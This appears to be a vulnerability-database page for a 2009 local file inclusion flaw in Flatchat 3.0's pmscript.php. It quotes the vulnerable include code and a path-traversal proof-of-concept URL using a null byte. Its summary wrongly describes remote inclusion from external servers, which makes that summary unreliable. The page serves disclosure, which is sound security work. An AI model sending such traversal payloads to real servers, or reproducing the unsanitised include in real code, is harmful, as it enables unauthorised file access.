Flatchat 3.0 (pmscript.php with) Local File Inclusion Vulnerability

vendor:

Flatchat

by:

SirGod

7,5

CVSS

HIGH

Local File Inclusion

CWE

Product Name: Flatchat

Affected Version From: 3.0

Affected Version To: 3.0

Patch Exists: NO

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2009

Flatchat 3.0 (pmscript.php with) Local File Inclusion Vulnerability

A vulnerability in Flatchat 3.0 allows an attacker to include a file from a remote server via a URL in the 'with' parameter in pmscript.php. This can be exploited to execute arbitrary PHP code by including files from external resources that contain malicious code.

Mitigation:

Input validation should be used to prevent the inclusion of files from external sources.

Source

Exploit-DB raw data:

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[+] Flatchat 3.0 (pmscript.php with) Local File Inclusion Vulnerability
[+] Discovered By SirGod
[+] www.mortal-team.net
[+] www.h4cky0u.org
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[+] Homepage : http://ninjadesigns.co.uk/

[+] Local File Inclusion

  - Vulnerable code in pmscript.php

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$filename = 'users/'.$_GET['with'].'.php';

if (file_exists($filename)) {
    include($filename);
--------------------------------------------


    http://127.0.0.1/path/pmscript.php?with=../../../../../BOOTSECT.BAK%00

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